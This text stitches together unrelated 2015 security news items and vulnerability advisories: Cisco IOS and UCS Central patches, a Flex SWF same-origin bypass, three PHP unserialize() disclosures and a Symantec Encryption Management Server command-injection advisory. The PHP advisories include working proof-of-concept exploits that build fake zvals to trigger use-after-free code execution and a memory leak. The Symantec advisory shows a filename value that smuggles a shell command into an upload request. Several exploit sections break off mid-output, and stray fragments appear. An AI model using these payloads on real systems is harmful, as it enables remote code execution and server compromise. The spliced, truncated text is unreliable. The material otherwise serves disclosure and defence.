Remote code execution for some, denial of service for the rest of us Cisco has issued a string of patches for 16 faults including a fix for a possible remote code execution in its IOS and IOS XE routing software. The patches address a generous dollop of security conditions caused by faulty queued packets. One flaw, rated severity 8.3, allows attackers to gain remote code execution in IOS XE by sending a crafted packet that allows code to run on affected boxes. Attackers could also send crafted packets to trigger denial of service. "A vulnerability in the AppNav component of Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause an affected device to reload and may allow arbitrary code execution on the affected system," Cisco says in its advisory. "The vulnerability is due to improper processing of crafted TCP packets. An attacker could exploit this vulnerability by sending a crafted TCP packet that needs to be processed by the AppNav component configured on an affected device. An exploit could allow the attacker to cause an affected device to reload or execute arbitrary code in the forwarding engine." Another fix addresses flaws that allow attackers to spoof Autonomic Networking Registration Authority response thanks to lax message validation "A successful exploit could allow an attacker to bootstrap a device into an untrusted autonomic domain, gaining limited command and control of the AN node, causing a denial of service condition and disrupting access to the legitimate autonomic domain," Cisco says . Further vulnerabilities coupled in that advisory lead to denial of service conditions. The Borg also closed off a medium-severity vulnerability (CVE-2015-0769) in the IOS XR carrier software rated 5 can be easily exploited by attackers sending a packet that would thanks to IPv6 extension headers trigger denial of service. It says this occurs because the headers are not typical of normal operation and says there are no work-arounds for the flaw meaning affected systems will require the patch. "A vulnerability in the IP version 6 processing code of Cisco IOS XR Software for Cisco CRS-3 Carrier Routing System could allow an unauthenticated, remote attacker to trigger an ASIC scan of the Network Processor Unit and a reload of the line card processing an IPv6 packet," it says in an advisory. "The vulnerability is due to incorrect processing of an IPv6 packet carrying IPv6 extension headers that are valid but unlikely to be seen during normal operation. "An attacker could exploit this vulnerability by sending such an IPv6 packet to an affected device that is configured to process IPv6 traffic." That exploit can cause a reload of the line card triggering repeated denial of service through transit traffic or data destined for the device. Affected Cisco IOS XR versions include 4.0.1; 40.2; 4.0.3; 4.0.4; 4.1.0; 4.1.1; 4.1.2, and 4.2.0. IOS XR Release 4.2.1 and later are not affected. Source

Cisco has patched a remote code execution bug that could give attackers root privileges on its Unified Computing System (UCS) Central software used by more than 30,00 organisations. The UCS data centre server platform joins hardware, virtualisation, networking and software into one system. Versions 1.2 and below are affected. The Borg says the vulnerability (CVE-2015-0701) rates the maximum 10 severity rating due to its low exploitation requirements and "complete" impact to confidentiality, integrity and availability. "A vulnerability in the web framework of Cisco UCS Central Software could allow an unauthenticated, remote attacker to execute arbitrary commands on an affected device," it says in an advisory. "The vulnerability is due to improper input validation. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. An exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the privileges of the root user." The Borg says patches for the bug are available but warns there are no workarounds. <pSuccessful exploitation of the problem would grant unauthenticated access to sensitive information, allow arbitrary command execution on UCS boxes' operating systems, or create denial of service conditions. Happily, no attacks using the flaw have been spotted in the wild. Source

# Type Confusion Infoleak Vulnerability in unserialize() with SoapFault Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.1 - Release Date: 2015.4.28 > A type confusion vulnerability was discovered in unserialize() with SoapFault object's __toString() magic method that can be abused for leaking arbitrary memory blocks. Affected Versions ------------ Affected is PHP 5.6 < 5.6.8 Affected is PHP 5.5 < 5.5.24 Affected is PHP 5.4 < 5.4.40 Affected is PHP 5.3 <= 5.3.29 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ ``` PHP_METHOD(SoapFault, __toString) { ... faultcode = zend_read_property(soap_fault_class_entry, this_ptr, "faultcode", sizeof("faultcode")-1, 1 TSRMLS_CC); faultstring = zend_read_property(soap_fault_class_entry, this_ptr, "faultstring", sizeof("faultstring")-1, 1 TSRMLS_CC); file = zend_read_property(soap_fault_class_entry, this_ptr, "file", sizeof("file")-1, 1 TSRMLS_CC); line = zend_read_property(soap_fault_class_entry, this_ptr, "line", sizeof("line")-1, 1 TSRMLS_CC); ... len = spprintf(&str, 0, "SoapFault exception: [%s] %s in %s:%ld\nStack trace:\n%s", Z_STRVAL_P(faultcode), Z_STRVAL_P(faultstring), Z_STRVAL_P(file), Z_LVAL_P(line), Z_STRLEN_P(trace) ? Z_STRVAL_P(trace) : "#0 {main}\n"); zval_ptr_dtor(&trace); RETURN_STRINGL(str, len, 0); } ``` The Z_STRVAL_P macro lead to looking up an arbitrary valid memory address, and return a string via a integer-type zval that start from this memory address. If the memory address is an invalid memory position, it should result in a crash. The Z_LVAL_P macro lead to leaking memory address via a string-type zval that this string value stored. Proof of Concept Exploit ------------ The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14. ``` <?php $data = 'O:9:"SoapFault":4:{s:9:"faultcode";i:4298448493;s:11:"faultstring";i:4298448543;s:7:"'."\0*\0".'file";i:4298447319;s:7:"'."\0*\0".'line";s:4:"ryat";}'; echo unserialize($data); ?> ``` Test the PoC on the command line, then output some memory blocks and memory address: ``` $ lldb php (lldb) target create "php" Current executable set to 'php' (x86_64).

#Use After Free Vulnerability in unserialize() Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.2.3 - Release Date: 2015.3.20 > A use-after-free vulnerability was discovered in unserialize() with a specially defined object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code. Affected Versions ------------ Affected is PHP 5.6 < 5.6.7 Affected is PHP 5.5 < 5.5.23 Affected is PHP 5.4 < 5.4.39 Affected is PHP 5 <= 5.3.29 Affected is PHP 4 <= 4.4.9 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ ``` static inline int object_common2(UNSERIALIZE_PARAMETER, zend_long elements) { zval retval; zval fname; if (Z_TYPE_P(rval) != IS_OBJECT) { return 0; } //??? TODO: resize before if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_P(rval), elements, 1)) { return 0; } ZVAL_DEREF(rval); if (Z_OBJCE_P(rval) != PHP_IC_ENTRY && zend_hash_str_exists(&Z_OBJCE_P(rval)->function_table, "__wakeup", sizeof("__wakeup")-1)) { ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1); BG(serialize_lock)++; call_user_function_ex(CG(function_table), rval, &fname, &retval, 0, 0, 1, NULL); ``` A specially defined __wakeup() magic method lead to various problems. The simple code: ``` <?php class evilClass { public $var; function __wakeup() { unset($this->var); // $this->var = 'ryat'; } } $data = unserialize('a:2:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;R:4;}'); ?> ``` Object properties assignment or destroy operation leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code. Proof of Concept Exploit ------------ The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14. ``` <?php $f = $argv[1]; $c = $argv[2]; $fakezval1 = ptr2str(0x100b83008); $fakezval1 .= ptr2str(0x8); $fakezval1 .= "\x00\x00\x00\x00"; $fakezval1 .= "\x06"; $fakezval1 .= "\x00"; $fakezval1 .= "\x00\x00"; $data1 = 'a:3:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}'; $x = unserialize($data1); $y = $x[2]; // zend_eval_string()'s address $y[0][0] = "\x6d"; $y[0][1] = "\x1e"; $y[0][2] = "\x35"; $y[0][3] = "\x00"; $y[0][4] = "\x01"; $y[0][5] = "\x00"; $y[0][6] = "\x00"; $y[0][7] = "\x00"; $fakezval2 = ptr2str(0x3b296324286624); // $f($c); $fakezval2 .= ptr2str(0x100b83000); $fakezval2 .= "\xff\xff\xff\xff"; $fakezval2 .= "\x05"; $fakezval2 .= "\x00"; $fakezval2 .= "\x00\x00"; $data2 = 'a:3:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;a:1:{i:0;R:4;}}}'; $z = unserialize($data2); intval($z[2]); function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } class evilClass { public $var; function __wakeup() { unset($this->var); // $this->var = 'ryat'; } } ?> ``` Test the PoC on the command line, then any PHP code can be executed: ``` $ lldb php (lldb) target create "php" Current executable set to 'php' (x86_64).

A four year old Adobe Flash patch did not properly resolve a vulnerable Flex application, and attackers can exploit the bug, which is said to affect some 30 percent of Alexa’s top 10 most popular sites in the world. LinkedIn security researcher Luca Carettoni and Mauro Gentile, a security consultant at Minded Security, presented their findings showing that Shockwave Flash files compiled by the vulnerable Flex software developers kit remain exploitable in fully updated Web browsers and Flash plugins. The researchers released partial details for the vulnerability along with mitigation information. They plan to release the full details of the bug and some proof-of-concept exploit in the near future, once they are confident there is a better understanding of the bug within the general public. Carettoni and Gentile have already informed the maintainers of popular websites affected by the vulnerability, and Adobe. If properly exploited, the bug could allow an attacker to steal information from affected systems through a same origin request forgery and even perform actions on behalf of users running vulnerable versions by performing cross-site forgery requests. In either case, the attackers would have to compel their victims to visit a maliciously crafted Web page. Practically speaking, it is possible to force the affected Flash movies to perform Same-Origin requests and return the responses back to the attacker In other words, the researchers say, hosting vulnerable SWF files leads to an “indirect” Same-Origin-Policy bypass in fully patched web browsers and plugins. “Practically speaking, it is possible to force the affected Flash movies to perform Same-Origin requests and return the responses back to the attacker,” the pair of researchers said in a blog post. “Since HTTP requests contain cookies and are issued from the victim’s domain, HTTP responses may contain private information including anti-CSRF tokens and user’s data.” Potential mitigations include recompiling Flex SDKs along with their static libraries, patching with the official Adobe patch tool and simply deleting them if they are not used. You can find Carettoni and Gentile‘s analysis on their respective sites, though these are reposts, so both reports contain the same content. Their slide’s are embedded below: Source

Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273] Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.1.29 - Release Date: 2015.2.20 A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone/DateInterval/DatePeriod objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely. Affected Versions ------------ Affected is PHP 5.6 < 5.6.6 Affected is PHP 5.5 < 5.5.22 Affected is PHP 5.4 < 5.4.38 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ static int php_date_initialize_from_hash(php_date_obj **dateobj, HashTable *myht) { zval *z_date; zval *z_timezone; zval *z_timezone_type; zval tmp_obj; timelib_tzinfo *tzi; php_timezone_obj *tzobj; z_date = zend_hash_str_find(myht, "date", sizeof("data")-1); if (z_date) { convert_to_string(z_date); z_timezone_type = zend_hash_str_find(myht, "timezone_type", sizeof("timezone_type")-1); if (z_timezone_type) { convert_to_long(z_timezone_type); z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-1); if (z_timezone) { convert_to_string(z_timezone); ... static int php_date_timezone_initialize_from_hash(zval **return_value, php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC) { zval **z_timezone = NULL; zval **z_timezone_type = NULL; if (zend_hash_find(myht, "timezone_type", 14, (void**) &z_timezone_type) == SUCCESS) { if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) { convert_to_long(*z_timezone_type); if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone) TSRMLS_CC)) { return SUCCESS; } } } return FAILURE; } The convert_to_long() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code. Proof of Concept Exploit ------------ The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14. <?php $f = $argv[1]; $c = $argv[2]; $fakezval1 = ptr2str(0x100b83008); $fakezval1 .= ptr2str(0x8); $fakezval1 .= "\x00\x00\x00\x00"; $fakezval1 .= "\x06"; $fakezval1 .= "\x00"; $fakezval1 .= "\x00\x00"; $data1 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}'; $x = unserialize($data1); $y = $x[2]; // zend_eval_string()'s address $y[0][0] = "\x6d"; $y[0][1] = "\x1e"; $y[0][2] = "\x35"; $y[0][3] = "\x00"; $y[0][4] = "\x01"; $y[0][5] = "\x00"; $y[0][6] = "\x00"; $y[0][7] = "\x00"; $fakezval2 = ptr2str(0x3b296324286624); // $f($c); $fakezval2 .= ptr2str(0x100b83000); $fakezval2 .= "\x00\x00\x00\x00"; $fakezval2 .= "\x05"; $fakezval2 .= "\x00"; $fakezval2 .= "\x00\x00"; $data2 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}'; $z = unserialize($data2); function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?> Test the PoC on the command line, then any PHP code can be executed: $ lldb php (lldb) target create "php" Current executable set to 'php' (x86_64).

Vantage Point Security Advisory 2014-007 ======================================== Title: Symantec Encryption Management Server - Remote Command Injection ID: VP-2014-007 Vendor: Symantec Affected Product: Symantec Encryption Gateway Affected Versions: < 3.2.0 MP6 Product Website: http://www.symantec.com/en/sg/gateway-email-encryption/ Author: Paul Craig <paul[at]vantagepoint[dot]sg Summary: --------- Symantec Gateway Email Encryption provides centrally managed email encryption to secure email communications with customers and partners regardless of whether or not recipients have their own email encryption software. With Gateway Email Encryption, organizations can minimize the risk of a data breach while complying with regulatory mandates for information security and privacy. Details: --------- Remote Command Injection vulnerabilities occur when user supplied input is used directly as a command line argument to a fork(), execv() or a CreateProcessA() function. It was found that the binary /usr/bin/pgpsysconf calls the binary /usr/bin/pgpbackup with unfiltered user supplied input when restoring a Database Backup from the Symantec Encryption Management Web Interface . The user supplied 'filename' value is used directly as a command argument, and can be concatenated to include additional commands with the use of the pipe character. This can allow a lower privileged Administrator to compromise the Encryption Management Server. This is demonstrated below in a snippet from pgpsysconf; .text:08058FEA mov dword ptr [ebx], offset aUsrBinPgpbacku ; "/usr/bin/pgpbackup" .text:08058FF0 cmp [ebp+var_1D], 0 .text:08058FF4 jnz short loc_8059049 .text:08058FF6 mov ecx, 4 .text:08058FFB mov edx, 8 .text:08059000 mov eax, 0Ch .text:08059005 mov dword ptr [ebx+ecx], offset unk_807AE50 .text:0805900C mov [ebx+edx], esi .text:0805900F mov dword ptr [ebx+eax], 0 .text:08059016 call _fork ; Bingo.. An example to exploit this vulnerability and run the ping command can be seen below. POST /omc/uploadBackup.event .... .... Content-Disposition: form-data; name="file"; filename="test123|`ping`|-whatever.tar.gz.pgp" This vulnerability can be further exploited to gain local root access by calling the setuid binary pgpsysconf to install a local package file. Fix Information: --------- Upgrade to Symantec Encryption Management Server 3.3.2 MP7. See http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20150129_00 for more information Timeline: --------- 2014/11/26: Issue Reported. 2015/01/30: Patch Released.
